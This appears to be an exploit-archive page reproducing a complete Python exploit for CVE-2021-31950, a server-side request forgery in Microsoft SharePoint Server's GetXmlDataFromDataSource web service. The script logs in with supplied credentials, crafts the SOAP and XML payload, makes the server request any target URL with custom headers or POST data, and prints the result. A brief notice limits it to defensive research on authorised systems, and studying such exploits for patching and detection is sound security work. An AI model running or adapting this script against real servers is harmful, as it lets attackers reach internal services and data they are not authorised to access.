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Materialized exploit

CVE-2021-31950

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.
ExploitDB webapps windows
Source

Microsoft SharePoint Server 16.0.10372.20060 - 'GetXmlDataFromDataSource' Server-Side Request Forgery (SSRF)

By Alex Birnberg

How to test this exploit

Web exploit. Deploy a vulnerable instance in a lab, serve the script/request against it, and observe the response.

python3 49982.py

Code py

# Exploit Title: Microsoft SharePoint Server 16.0.10372.20060 - 'GetXmlDataFromDataSource' Server-Side Request Forgery (SSRF)
# Date: 09 Jun 2021
# Exploit Author: Alex Birnberg
# Software Link: https://www.microsoft.com/en-us/download/details.aspx?id=57462
# Version: 16.0.10372.20060
# Tested on: Windows Server 2019
# CVE : CVE-2021-31950

#!/usr/bin/env python3

import html
import random
import string
import xml.sax.saxutils
import textwrap
import requests
import argparse
import xml.etree.ElementTree as ET
from requests_ntlm2 import HttpNtlmAuth
from urllib.parse import urlencode, urlparse

class Exploit:
  def __init__(self, args):
    o = urlparse(args.url)
    self.url = args.url
    self.service = o.path
    self.username = args.username
    self.password = args.password
    self.target = args.target
    self.headers = args.header
    self.method = args.request
    self.data = args.data
    self.content_type = args.content_type
    self.s = requests.Session()
    self.s.auth = HttpNtlmAuth(self.username, self.password)
    self.s.headers = {
      'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36'
    }
    self.s.proxies = {
      'http': 'http://127.0.0.1:8080'
    }

  def trigger(self):
    headers = ''
    if self.headers:
      for header in self.headers:
        header = list(map(lambda x: x.strip(), header.split(':')))
        if len(header) != 2:
          continue
        headers += '<dataurl:Header name="{}">{}</dataurl:Header>'.format(header[0], header[1])
    method = ''
    bypass_local = ''
    if self.method and self.method.upper() == 'POST':
      method = 'HTTP Post'
    else:
      method = 'HTTP Get'
      bypass_local = '<dataurl:Arguments><dataurl:Argument Name="{0}">{0}</dataurl:Argument></dataurl:Arguments>'.format(''.join(random.choice(string.ascii_letters) for i in range(16)))
    content_type = ''
    if self.content_type and len(self.content_type):
      content_type = '<dataurl:ContentType>{}</dataurl:ContentType>'.format(self.content_type)
    data = ''
    if self.data and len(self.data):
      data = '<dataurl:PostData Encoding="Decode">{}</dataurl:PostData>'.format(html.escape(self.data).encode('ascii', 'xmlcharrefreplace').decode('utf-8'))
    query_xml = textwrap.dedent('''\
    <udc:DataSource xmlns:udc="http://schemas.microsoft.com/data/udc" xmlns:udcs="http://schemas.microsoft.com/data/udc/soap" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dsp="http://schemas.microsoft.com/sharepoint/dsp" xmlns:dataurl="http://schemas.microsoft.com/sharepoint/dsp/xmlurl">
      <udc:ConnectionInfo>
        <udcs:Location href="">XMLURLDataAdapter</udcs:Location>
        <soap:Header>
          <dsp:versions>
          </dsp:versions>
          <dsp:request method="query" />
        </soap:Header>
        <soap:Body>
          <dsp:queryRequest>
            <dsp:ptQuery>
              <dataurl:Headers>
                <dataurl:Url href="{}" Method="{}"/>
                {}
                {}
                {}
                {}
              </dataurl:Headers>
            </dsp:ptQuery>
          </dsp:queryRequest>
        </soap:Body>
      </udc:ConnectionInfo>
    </udc:DataSource>'''.format(self.target, method, bypass_local, headers, data, content_type))
    query_xml = xml.sax.saxutils.escape(query_xml.replace('\r', '').replace('\n', ''))
    data = textwrap.dedent('''\
      <?xml version="1.0" encoding="utf-8"?>
      <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Body>
          <GetXmlDataFromDataSource xmlns="http://microsoft.com/sharepoint/webpartpages">
            <queryXml>{}</queryXml>
          </GetXmlDataFromDataSource>
        </soap:Body>
      </soap:Envelope>'''.format(query_xml))
    r = self.soap('webpartpages', 'http://microsoft.com/sharepoint/webpartpages/GetXmlDataFromDataSource', data)
    root = ET.fromstring(r.content)
    try:
      namespaces = {
        'soap': 'http://schemas.xmlsoap.org/soap/envelope/'
      }
      value = list(root.find('soap:Body', namespaces).iter())[2]
      if value.tag == 'faultcode':
        print('Error:', list(root.find('soap:Body', namespaces).iter())[3].text)
      else:
        print(value.text)
    except:
      print(r.content)
      pass

  def soap(self, service, action, data):
    headers = {
      'SOAPAction': '"{}"'.format(action),
      'Host': 'localhost',
      'Content-Type': 'text/xml; charset=utf-8',
    }
    return self.s.post('{}/_vti_bin/{}.asmx'.format(self.url, service), headers=headers, data=data)

if __name__ == '__main__':
  parser = argparse.ArgumentParser()
  parser.add_argument('--url', help='Base URL', required=True, metavar='<url>')
  parser.add_argument('--username', help='Username of team site owner', required=True, metavar='<username>')
  parser.add_argument('--password', help='Password of team site owner', required=True, metavar='<password>')
  parser.add_argument('--target', help='Target URL to work with', required=True, metavar='<target>')
  parser.add_argument('-H', '--header', help='Pass custom header(s) to server', action='append', metavar='<header>')
  parser.add_argument('-X', '--request', help='Specify request command to use', metavar='<command>')
  parser.add_argument('-d', '--data', help='HTTP POST data', metavar='<data>')
  parser.add_argument('-c', '--content-type', help='Value for the "Content-Type" header', metavar='<type>')
  exploit = Exploit(parser.parse_args())
  exploit.trigger()